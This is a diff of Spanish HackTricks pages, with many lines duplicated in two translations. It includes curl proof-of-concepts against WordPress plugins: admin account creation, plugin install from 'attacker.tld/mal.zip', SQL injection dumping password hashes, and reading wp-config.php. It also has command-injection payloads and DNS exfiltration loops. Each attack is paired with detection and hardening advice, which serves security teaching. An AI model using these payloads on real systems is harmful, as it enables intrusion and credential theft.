- Prerrequisitos: el atacante puede alcanzar /wp-admin/admin-ajax.php y conoce/adivina un correo electrónico de usuario válido.
- Establecer el proveedor en un valor no soportado (o omitirlo) para alcanzar la rama por defecto y pasar id=<victim_email>.
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
@ -711,38 +710,38 @@ curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
Indicadores de éxito esperados
- HTTP 200 con cuerpo JSON como {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* para el usuario víctima; las solicitudes posteriores estarán autenticadas.
- Set-Cookie: wordpress_logged_in_* para el usuario víctima; solicitudes posteriores están autenticadas.
Encontrar el nombre de la acción
Encontrar la acción
- Inspecciona el tema/plugin en busca de registros add_action('wp_ajax_nopriv_...', '...') en el código de social login (p. ej., framework/add-ons/social-login/class-social-login.php).
- Haz grep de wp_set_auth_cookie(), get_user_by('email', ...) dentro de los manejadores AJAX.
- Inspeccionar el theme/plugin buscando add_action('wp_ajax_nopriv_...', '...') registrados en el código de social login (p. ej., framework/add-ons/social-login/class-social-login.php).
- Grep for wp_set_auth_cookie(), get_user_by('email', ...) dentro de los handlers AJAX.
Lista de comprobación de detección
Lista de verificación de detección
- Registros web mostrando POSTs no autenticados a /wp-admin/admin-ajax.php con la acción social-login e id=<email>.
- Respuestas 200 con el JSON de éxito inmediatamente antes de tráfico autenticado desde la misma IP/User-Agent.
- Logs web mostrando POSTs no autenticados a /wp-admin/admin-ajax.php con la acción social-login y id=<email>.
- Respuestas 200 con el JSON de éxito inmediatamente precediendo tráfico autenticado desde la misma IP/User-Agent.
Endurecimiento
- No derives la identidad de la entrada del cliente. Acepta solo emails/IDs que se originen de un token/ID del proveedor validado.
- Exige CSRF nonces y comprobaciones de capacidades incluso para helpers de login; evita registrar wp_ajax_nopriv_ salvo que sea estrictamente necesario.
- Valida y verifica las respuestas OAuth/OIDC en el servidor; rechaza proveedores faltantes/inválidos (sin fallback al POST id).
- Considera deshabilitar temporalmente social login o aplicar un parche virtual en el edge (bloquear la acción vulnerable) hasta que se arregle.
- No derives la identidad de la entrada del cliente. Aceptar solo emails/IDs que se originen de un token/ID de proveedor validado.
- Requerir nonces CSRF y comprobaciones de capabilities incluso para login helpers; evitar registrar wp_ajax_nopriv_ a menos que sea estrictamente necesario.
- Validar y verificar las respuestas OAuth/OIDC en el servidor; rechazar proveedores faltantes/invalidos (sin fallback a POST id).
- Considerar deshabilitar temporalmente social login o parchear virtualmente en el edge (bloquear la acción vulnerable) hasta que se corrija.
Comportamiento parcheado (Jobmonster 4.8.0)
- Se eliminó el fallback inseguro de $_POST['id']; $user_email debe originarse de ramas del proveedor verificadas en switch($_POST['using']).
- Se eliminó el fallback inseguro de $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
## Escalada de privilegios no autenticada vía REST token/key minting en identidad predecible (OttoKit/SureTriggers ≤ 1.0.82)
## Escalada de privilegios no autenticada mediante creación de tokens/claves REST sobre identidad predecible (OttoKit/SureTriggers ≤ 1.0.82)
Algunos plugins exponen endpoints REST que generan “claves de conexión” reutilizables o tokens sin verificar las capacidades del llamante. Si la ruta autentica solo por un atributo adivinable (p. ej., nombre de usuario) y no vincula la clave a un usuario/sesión con comprobaciones de capacidad, cualquier atacante no autenticado puede generar una clave e invocar acciones privilegiadas (creación de cuenta de administrador, acciones de plugins → RCE).
Algunos plugins exponen endpoints REST que crean “connection keys” reutilizables o tokens sin verificar las capacidades del llamador. Si la ruta autentica solo en un atributo adivinable (p. ej., username) y no liga la key a un usuario/sesión con comprobaciones de capability, cualquier atacante no autenticado puede generar una key e invocar acciones privilegiadas (creación de cuenta admin, acciones del plugin → RCE).
- Ruta vulnerable (ejemplo): sure-triggers/v1/connection/create-wp-connection
- Fallo: acepta un nombre de usuario, emite una connection key sin current_user_can() ni un permission_callback estricto
- Impacto: toma de control completa al encadenar la clave generada a acciones internas privilegiadas
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: acepta un username, emite una clave de conexión sin current_user_can() ni un permission_callback estricto
- Impact: toma de control total encadenando la key generada a acciones internas privilegiadas
PoC Generar una clave de conexión y usarla
PoC generar una clave de conexión y usarla
```bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
@ -756,54 +755,54 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
```
Por qué es explotable
- Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback
- No capability enforcement; minted key is accepted as a universal bypass
Why its exploitable
- Ruta REST sensible protegida solo por una prueba de identidad de baja entropía (username) o falta de permission_callback
- Sin aplicación de capacidades; la key emitida se acepta como un bypass universal
Detection checklist
- Grep plugin code for register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Any route that issues tokens/keys based on request-supplied identity (username/email) without tying to an authenticated user or capability
- Look for subsequent routes that accept the minted token/key without server-side capability checks
- Grep en el código del plugin buscando register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Cualquier ruta que emita tokens/keys basadas en una identidad suministrada por la petición (username/email) sin vincularla a un usuario autenticado o a una capability
- Buscar rutas posteriores que acepten el token/key emitido sin comprobaciones de capability en el servidor
Hardening
- For any privileged REST route: require permission_callback that enforces current_user_can() for the required capability
- Do not mint long-lived keys from client-supplied identity; if needed, issue short-lived, user-bound tokens post-authentication and recheck capabilities on use
- Validate the callers user context (wp_set_current_user is not sufficient alone) and reject requests where !is_user_logged_in() || !current_user_can(<cap>)
- Para cualquier ruta REST privilegiada: requerir permission_callback que haga cumplir current_user_can() para la capability requerida
- No emitir claves de larga duración a partir de identidades suministradas por el cliente; si es necesario, emitir tokens de corta duración vinculados al usuario tras la autenticación y volver a comprobar las capabilities al usarlos
- Validar el contexto de usuario del llamador (wp_set_current_user no es suficiente por sí solo) y rechazar peticiones donde !is_user_logged_in() || !current_user_can(<cap>)
---
## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
Nonces prevent CSRF, not authorization. If code treats a nonce pass as a green light and then skips capability checks for privileged operations (e.g., install/activate plugins), unauthenticated attackers can meet a weak nonce requirement and reach RCE by installing a backdoored or vulnerable plugin.
Nonces previenen CSRF, no la autorización. Si el código trata un nonce válido como luz verde y luego omite las comprobaciones de capability para operaciones privilegiadas (p. ej., install/activate plugins), atacantes no autenticados pueden cumplir un requisito de nonce débil y alcanzar RCE instalando un plugin backdoored o vulnerable.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
- Impact: full compromise via arbitrary plugin install/activation
PoC (shape depends on plugin; illustrative only)
PoC (el formato depende del plugin; solo ilustrativo)
```bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
```
Detection checklist
Lista de comprobación de detección
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Any code path that sets $skip_caps = true after nonce validation
Hardening
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
Endurecimiento
- Tratar siempre los nonces solo como tokens CSRF; aplicar verificaciones de capacidad independientemente del estado del nonce
- Requerir current_user_can('install_plugins') y current_user_can('activate_plugins') antes de llegar al código del instalador
- Rechazar acceso no autenticado; evitar exponer acciones AJAX nopriv para flujos privilegiados
---
## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
## SQLi no autenticado vía el parámetro s (search) en las acciones depicter-* (Depicter Slider ≤ 3.6.1)
Multiple depicter-* actions consumed the s (search) parameter and concatenated it into SQL queries without parameterization.
Múltiples acciones depicter-* consumían el parámetro s (search) y lo concatenaban en consultas SQL sin parametrización.
- Parameter: s (search)
- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
- Impact: database exfiltration (users, hashes), lateral movement
- Parámetro: s (search)
- Fallo: concatenación directa de cadenas en cláusulas WHERE/LIKE; sin sentencias preparadas/saneamiento
- Impacto: exfiltración de la base de datos (usuarios, hashes), movimiento lateral
PoC
```bash
@ -813,34 +812,34 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
```
Lista de verificación de detección
- Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL
- Revisar consultas personalizadas pasadas a $wpdb->get_results()/query() concatenando s
- Grep por depicter-* action handlers y el uso directo de $_GET['s'] o $_POST['s'] en SQL
- Revisar consultas personalizadas pasadas a $wpdb->get_results()/query() que concatenen s
Mitigación
- Usar siempre $wpdb->prepare() o wpdb placeholders; rechazar metacaracteres inesperados en el servidor
- Agregar una lista de permitidos (allowlist) estricta para s y normalizar al charset/longitud esperados
Endurecimiento
- Usar siempre $wpdb->prepare() o wpdb placeholders; rechazar metacaracteres inesperados del lado del servidor
- Añadir una allowlist estricta para s y normalizar al charset/longitud esperados
---
## Unauthenticated Local File Inclusion a través de una ruta de template/archivo no validada (Kubio AI Page Builder ≤ 2.5.1)
## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
Aceptar rutas controladas por el atacante en un parámetro de template sin normalización/contención permite leer archivos locales arbitrarios, y a veces ejecución de código si archivos PHP/log incluibles son cargados en tiempo de ejecución.
Aceptar rutas controladas por un atacante en un parámetro de template sin normalización/contención permite leer archivos locales arbitrarios y, en ocasiones, la ejecución de código si se incluyen archivos PHP/log en tiempo de ejecución.
- Parámetro: __kubio-site-edit-iframe-classic-template
- Falla: sin normalización/allowlisting; traversal permitido
- Impacto: divulgación de secretos (wp-config.php), RCE potencial en entornos específicos (log poisoning, includable PHP)
- Impacto: divulgación de secretos (wp-config.php), posible RCE en entornos específicos (log poisoning, includable PHP)
PoC leer wp-config.php
```bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
```
Detection checklist
- Any handler concatenating request paths into include()/require()/read sinks without realpath() containment
- Look for traversal patterns (../) reaching outside the intended templates directory
Lista de verificación de detección
- Cualquier handler que concatene rutas de request en sinks include()/require()/read sin validación de containment con realpath()
- Buscar patrones de traversal (../) que lleguen fuera del directorio de templates previsto
Hardening
- Forzar plantillas en lista permitida; resolver con realpath() y requerir str_starts_with(realpath(file), realpath(allowed_base))
- Normalizar la entrada; rechazar secuencias de traversal y rutas absolutas; usar sanitize_file_name() solo para nombres de archivo (no rutas completas)
Endurecimiento
- Forzar el uso de plantillas de la lista permitida; resolver con realpath() y exigir str_starts_with(realpath(file), realpath(allowed_base))
- Normalizar la entrada; rechazar secuencias de traversal y rutas absolutas; usar sanitize_file_name() solo para nombres de archivo (no para rutas completas)
## Referencias

View File

@ -2,13 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
## ¿Qué es command Injection?
## What is command Injection?
Una **command injection** permite la ejecución de comandos arbitrarios del sistema operativo por parte de un atacante en el servidor que aloja una aplicación. Como resultado, la aplicación y todos sus datos pueden verse completamente comprometidos. La ejecución de estos comandos normalmente permite al atacante obtener acceso no autorizado o control sobre el entorno de la aplicación y el sistema subyacente.
A **command injection** permite la ejecución de comandos arbitrarios del sistema operativo por parte de un atacante en el servidor que aloja una aplicación. Como resultado, la aplicación y todos sus datos pueden quedar completamente comprometidos. La ejecución de estos comandos típicamente permite al atacante obtener acceso no autorizado o control sobre el entorno de la aplicación y el sistema subyacente.
### Contexto
Dependiendo de **dónde se esté inyectando tu input** puede que necesites **terminar el contexto entre comillas** (using `\"` or `'`) before the commands.
Dependiendo de **dónde se inyecta tu input**, puede que necesites **terminar el contexto entre comillas** (usando `"` o `'`) antes de los comandos.
## Command Injection/Execution
```bash
@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Limitación** Bypasses
### **Bypasses de limitaciones**
Si estás intentando ejecutar **comandos arbitrarios dentro de una máquina linux** te interesará leer sobre estos **Bypasses:**
Si estás intentando ejecutar **arbitrary commands inside a linux machine**, te interesará leer sobre estos **Bypasses:**
{{#ref}}
@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### Parámetros
A continuación, los 25 parámetros principales que podrían ser vulnerables a code injection y a vulnerabilidades RCE similares (from [link](https://twitter.com/trbughunters/status/1283133356922884096)):
Aquí están los 25 parámetros principales que podrían ser vulnerables a code injection y a vulnerabilidades RCE similares (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
@ -77,7 +77,7 @@ A continuación, los 25 parámetros principales que podrían ser vulnerables a c
```
### Time based data exfiltration
Extracción de datos: char por char
Extrayendo data: char by char
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -91,7 +91,7 @@ sys 0m0.000s
```
### DNS based data exfiltration
Basado en la herramienta `https://github.com/HoLyVieR/dnsbin`, también alojada en dnsbin.zhack.ca
Basado en la herramienta de `https://github.com/HoLyVieR/dnsbin` también alojada en dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
@ -101,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Herramientas online para comprobar DNS based data exfiltration:
Herramientas en línea para comprobar la exfiltración de datos basada en DNS:
- dnsbin.zhack.ca
- pingb.in
@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
### Node.js `child_process.exec` vs `execFile`
Al auditar aplicaciones back-end en JavaScript/TypeScript, a menudo te encontrarás con la API `child_process` de Node.js.
Al auditar back-ends de JavaScript/TypeScript, a menudo te encontrarás con la API de Node.js `child_process`.
```javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */
});
```
`exec()` lanza un **shell** (`/bin/sh -c`), por lo tanto cualquier carácter que tenga un significado especial para el shell (back-ticks, `;`, `&&`, `|`, `$()`, …) resultará en **command injection** cuando la entrada del usuario se concatene en la cadena.
`exec()` lanza un **shell** (`/bin/sh -c`), por lo que cualquier carácter que tenga un significado especial para el shell (back-ticks, `;`, `&&`, `|`, `$()`, …) provocará **command injection** cuando la entrada del usuario se concatene en la cadena.
**Mitigación:** usa `execFile()` (o `spawn()` sin la opción `shell`) y proporciona **cada argumento como un elemento separado del array** para que no se involucre el shell:
**Mitigación:** usa `execFile()` (o `spawn()` sin la opción `shell`) y proporciona **cada argumento como un elemento separado del array** para que no intervenga un shell:
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
@ -140,18 +140,18 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload)
]);
```
Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024).
Caso real: *Synology Photos* ≤ 1.7.0-0794 fue explotable a través de un evento de WebSocket no autenticado que colocó datos controlados por el atacante en `id_user`, los cuales luego se incrustaron en una llamada `exec()`, logrando RCE (Pwn2Own Ireland 2024).
### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell.
Typical places where this appears:
Lugares típicos donde aparece:
- Embedded web UIs/CGI handlers that build commands like `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc.
- Centralized CGI routers (e.g., `/cgi-bin/<something>.cgi` with a selector parameter like `topicurl=<handler>`) where multiple handlers reuse the same weak validator.
What to try:
Qué probar:
- Provide values that start with `-`/`--` to be consumed as flags by the downstream tool.
- Abuse flags that change behavior or write files, for example:
@ -160,7 +160,7 @@ What to try:
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` to achieve post-rotate execution in unsafe wrappers
- If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place.
Generic PoC shapes against centralized CGI dispatchers:
Formas genéricas de PoC contra despachadores CGI centralizados:
```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
@ -171,7 +171,7 @@ topicurl=<handler>&param=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
```
## Brute-Force Detection List
## Lista de detección de Brute-Force
{{#ref}}
@ -183,9 +183,9 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
- [Extracción de archivos cifrados de Synology Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [Manual de PHP proc_open](https://www.php.net/manual/en/function.proc-open.php)
- [Extraction of Synology encrypted archives Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE202346818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
- [Unit 42 TOTOLINK X6000R: Tres nuevas vulnerabilidades descubiertas](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
- [Unit 42 TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,20 +1,20 @@
# Valores y Preguntas frecuentes de HackTricks
# Valores de HackTricks y Preguntas frecuentes
{{#include ../banners/hacktricks-training.md}}
## Valores de HackTricks
> [!TIP]
> Estos son los **valores del proyecto HackTricks**:
> Estos son los **valores del Proyecto HackTricks**:
>
> - Dar **GRATIS** acceso a recursos educativos de hacking a **TODa** Internet.
> - Hacking is about learning, and learning should be as free as possible.
> - Dar **FREE** acceso a recursos **EDUCATIONAL hacking** a **ALL** Internet.
> - Hacking trata de aprender, y el aprendizaje debería ser lo más libre posible.
> - El propósito de este libro es servir como un **recurso educativo** integral.
> - **STORE** awesome **hacking** techniques that the community publishes giving the **ORIGINAL** **AUTHORS** all the **credits**.
> - **We don't want the credit from other people**, we just want to store cool tricks for everyone.
> - **STORE** increíbles técnicas de **hacking** que la comunidad publica, dando a los **ORIGINAL** **AUTHORS** todos los **credits**.
> - **No queremos el crédito de otras personas**, solo queremos almacenar trucos geniales para todos.
> - También escribimos **nuestras propias investigaciones** en HackTricks.
> - En varios casos solo escribiremos **en HackTricks un resumen de las partes importantes** de la técnica y **animaremos al lector a visitar el post original** para más detalles.
> - **ORGANIZE** all the hacking techniques in the book so it's **MORE ACCESSIBLE**
> - **ORGANIZE** todas las técnicas de **hacking** en el libro para que sean **MORE ACCESSIBLE**
> - El equipo de HackTricks ha dedicado miles de horas de forma gratuita **solo para organizar el contenido** para que la gente pueda **aprender más rápido**
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -23,32 +23,32 @@
> [!TIP]
>
> - **Thank you so much for these resources, how can I thank you?**
> - **Muchas gracias por estos recursos, ¿cómo puedo agradecerles?**
Puedes agradecer públicamente al equipo de HackTricks por recopilar todos estos recursos públicamente en un tweet mencionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Si estás especialmente agradecido también puedes [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
Puedes agradecer públicamente a los equipos de HackTricks por reunir todos estos recursos públicamente con un tweet mencionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Si estás especialmente agradecido también puedes [**patrocina el proyecto aquí**](https://github.com/sponsors/carlospolop).\
Y no olvides **dar una estrella a los proyectos de Github!** (Encuentra los enlaces abajo).
> [!TIP]
>
> - **How can I contribute to the project?**
> - **¿Cómo puedo contribuir al proyecto?**
Puedes **compartir nuevos tips y tricks con la comunidad o corregir bugs** que encuentres en los libros enviando un **Pull Request** a las páginas de Github correspondientes:
Puedes **compartir nuevos tips and tricks con la comunidad o corregir bugs** que encuentres en los libros enviando un **Pull Request** a las páginas respectivas de Github:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
¡No olvides **dar una estrella a los proyectos de Github**!
No olvides **dar una estrella a los proyectos de Github!**
> [!TIP]
>
> - **Can I copy some content from HackTricks and put it in my blog?**
> - **¿Puedo copiar contenido de HackTricks y ponerlo en mi blog?**
Sí, puedes, pero **no olvides mencionar el/los enlace(s) específicos** de donde se tomó el contenido.
> [!TIP]
>
> - **How can I reference a page of HackTricks?**
> - **¿Cómo puedo referenciar una página de HackTricks?**
Mientras aparezca el enlace **de** la(s) página(s) de donde obtuviste la información, es suficiente.\
Si necesitas un bibtex puedes usar algo como:
@ -66,43 +66,43 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
**Preferiría que no**. Eso **no va a beneficiar a nadie** ya que todo el **contenido ya está disponible públicamente** en los libros oficiales de HackTricks de forma gratuita.
Si temes que vaya a desaparecer, simplemente haz fork en Github o descárgalo; como dije, ya es gratuito.
Si temes que vaya a desaparecer, simplemente hazle fork en Github o descárgalo; como dije, ya es gratuito.
> [!WARNING]
>
> - **¿Por qué tienen patrocinadores? ¿Los libros de HackTricks son con fines comerciales?**
> - **¿Por qué tienen sponsors? ¿Los libros de HackTricks son con fines comerciales?**
El primer **valor** de **HackTricks** es ofrecer recursos educativos de **hacking** **GRATIS** a **TODO** el mundo. El equipo de HackTricks ha **dedicado miles de horas** para ofrecer este contenido, de nuevo, de forma **GRATUITA**.
El primer **valor** de **HackTricks** es ofrecer recursos educativos de hacking **GRATIS** para **TODO** el mundo. El equipo de HackTricks ha **dedicado miles de horas** para ofrecer este contenido, de nuevo, de forma **GRATIS**.
Si piensas que los libros de HackTricks están hechos con **fines comerciales** estás **COMPLETAMENTE EQUIVOCADO**.
Si piensas que los libros de HackTricks están hechos con **fines comerciales**, estás **COMPLETAMENTE EQUIVOCADO**.
Tenemos patrocinadores porque, aunque todo el contenido sea **GRATIS**, queremos **ofrecer a la comunidad la posibilidad de valorar nuestro trabajo** si así lo desean. Por ello, ofrecemos a la gente la opción de donar a HackTricks vía [**Github sponsors**](https://github.com/sponsors/carlospolop), y a empresas relevantes de ciberseguridad patrocinar HackTricks y tener algunos anuncios en el libro, siendo los **anuncios** siempre colocados en lugares donde sean **visibles** pero **no interfieran** con el proceso de aprendizaje si alguien se centra en el contenido.
Tenemos sponsors porque, aunque todo el contenido sea GRATIS, queremos **ofrecer a la comunidad la posibilidad de agradecer nuestro trabajo** si lo desean. Por ello, ofrecemos a las personas la opción de donar a HackTricks vía [**Github sponsors**](https://github.com/sponsors/carlospolop), y a **empresas relevantes de ciberseguridad** patrocinar HackTricks y poner **algunos anuncios** en el libro, ubicando los **anuncios** siempre en lugares donde sean **visibles** pero **no interfieran con el proceso de aprendizaje** si alguien se concentra en el contenido.
No encontrarás HackTricks lleno de anuncios molestos como otros blogs con mucho menos contenido que HackTricks, porque HackTricks no se hace con fines comerciales.
No encontrarás HackTricks lleno de anuncios molestos como otros blogs con mucho menos contenido que HackTricks, porque HackTricks no está hecho con fines comerciales.
> [!CAUTION]
>
> - **¿Qué debo hacer si alguna página de HackTricks está basada en mi entrada de blog pero no está referenciada?**
**Lo sentimos mucho. Esto no debería haber ocurrido**. Por favor, háznoslo saber vía Github issues, Twitter, Discord... el enlace de la página de HackTricks con el contenido y el enlace de tu blog y **lo comprobaremos y lo añadiremos lo antes posible**.
**Lo sentimos mucho. Esto no debería haber ocurrido**. Por favor, haznos saber mediante issues en Github, Twitter, Discord... el enlace de la página de HackTricks con el contenido y el enlace de tu blog y **lo revisaremos y añadiremos lo antes posible**.
> [!CAUTION]
>
> - **¿Qué debo hacer si hay contenido de mi blog en HackTricks y no quiero que esté ahí?**
> - **¿Qué debo hacer si hay contenido de mi blog en HackTricks y no quiero que esté allí?**
Ten en cuenta que tener enlaces a tu página en HackTricks:
- Mejora tu **SEO**
- El contenido se **traduce a más de 15 idiomas**, haciendo posible que más gente acceda a ese contenido
- **HackTricks anima** a la gente a **consultar tu página** (varias personas nos han comentado que desde que alguna de sus páginas está en HackTricks reciben más visitas)
- El contenido se **traduce a más de 15 idiomas**, haciendo posible que más personas accedan a dicho contenido
- **HackTricks anima** a la gente a **visitar tu página** (varias personas nos han comentado que desde que alguna de sus páginas aparece en HackTricks reciben más visitas)
Sin embargo, si aún quieres que el contenido de tu blog sea eliminado de HackTricks simplemente háznoslo saber y **definitivamente eliminaremos todo enlace a tu blog**, y cualquier contenido basado en él.
Sin embargo, si aún quieres que el contenido de tu blog sea eliminado de HackTricks, simplemente háznoslo saber y **eliminaremos definitivamente todos los enlaces a tu blog**, y cualquier contenido basado en él.
> [!CAUTION]
>
> - **¿Qué debo hacer si encuentro contenido copiado y pegado en HackTricks?**
Siempre **damos a los autores originales todos los créditos**. Si encuentras una página con contenido copiado y pegado sin la fuente original referenciada, háznoslo saber y **lo eliminaremos**, **añadiremos el enlace antes del texto**, o **lo reescribiremos añadiendo el enlace**.
Siempre **damos crédito a los autores originales**. Si encuentras una página con contenido copiado y pegado sin la fuente original referenciada, háznoslo saber y **o lo eliminaremos**, **o añadiremos el enlace antes del texto**, o **lo reescribiremos añadiendo el enlace**.
## LICENCIA
@ -111,33 +111,33 @@ Copyright © Todos los derechos reservados salvo que se especifique lo contrario
#### Resumen de la licencia:
- Atribución: Eres libre de:
- Compartir — copiar y redistribuir el material en cualquier medio o formato.
- Adaptar — remezclar, transformar y crear a partir del material.
- Share — copiar y redistribuir el material en cualquier medio o formato.
- Adapt — remezclar, transformar y construir sobre el material.
#### Términos adicionales:
- Contenido de terceros: Algunas partes de este blog/libro pueden incluir contenido de otras fuentes, como extractos de otros blogs o publicaciones. El uso de dicho contenido se realiza bajo los principios del uso justo o con permiso explícito de los respectivos titulares de los derechos de autor. Por favor, consulta las fuentes originales para obtener información específica sobre la licencia del contenido de terceros.
- Autoría: El contenido original creado por HackTricks está sujeto a los términos de esta licencia. Se recomienda atribuir este trabajo al autor cuando lo compartas o adaptes.
- Contenido de terceros: Algunas partes de este blog/libro pueden incluir contenido de otras fuentes, como extractos de otros blogs o publicaciones. El uso de dicho contenido se realiza bajo los principios de uso legítimo o con permiso explícito de los titulares de los derechos de autor correspondientes. Por favor, consulta las fuentes originales para obtener información específica sobre la licencia del contenido de terceros.
- Autoría: El contenido original elaborado por HackTricks está sujeto a los términos de esta licencia. Se te recomienda atribuir este trabajo al autor cuando lo compartas o adaptes.
#### Exenciones:
- Uso comercial: Para consultas relacionadas con el uso comercial de este contenido, por favor contáctame.
Esta licencia no otorga ningún derecho sobre marcas comerciales o branding en relación con el contenido. Todas las marcas y el branding presentes en este blog/libro son propiedad de sus respectivos propietarios.
Esta licencia no otorga ningún derecho sobre marcas registradas o branding en relación con el contenido. Todas las marcas y branding que aparecen en este blog/libro son propiedad de sus respectivos propietarios.
**Al acceder o usar HackTricks, aceptas cumplir con los términos de esta licencia. Si no estás de acuerdo con estos términos, por favor, no accedas a este sitio web.**
**Al acceder o usar HackTricks, aceptas cumplir los términos de esta licencia. Si no estás de acuerdo con estos términos, por favor, no accedas a este sitio web.**
## **Descargo de responsabilidad**
> [!CAUTION]
> Este libro, 'HackTricks,' está destinado únicamente a fines educativos e informativos. El contenido de este libro se proporciona "tal cual", y los autores y editores no realizan declaraciones ni garantías de ningún tipo, expresas o implícitas, sobre la integridad, exactitud, fiabilidad, idoneidad o disponibilidad de la información, productos, servicios o gráficos relacionados contenidos en este libro. Cualquier confianza que deposites en dicha información será estrictamente bajo tu propio riesgo.
> Este libro, 'HackTricks', está destinado únicamente a fines educativos e informativos. El contenido de este libro se proporciona "tal cual", y los autores y editores no hacen representaciones ni garantías de ningún tipo, expresas o implícitas, sobre la integridad, exactitud, fiabilidad, idoneidad o disponibilidad de la información, productos, servicios o gráficos relacionados contenidos en este libro. Cualquier confianza que deposites en dicha información será, por tanto, estrictamente bajo tu propia responsabilidad.
>
> Los autores y editores no serán responsables en ningún caso por cualquier pérdida o daño, incluyendo, sin limitación, pérdidas o daños indirectos o consecuentes, o cualquier pérdida o daño que surja de la pérdida de datos o beneficios derivada de, o en conexión con, el uso de este libro.
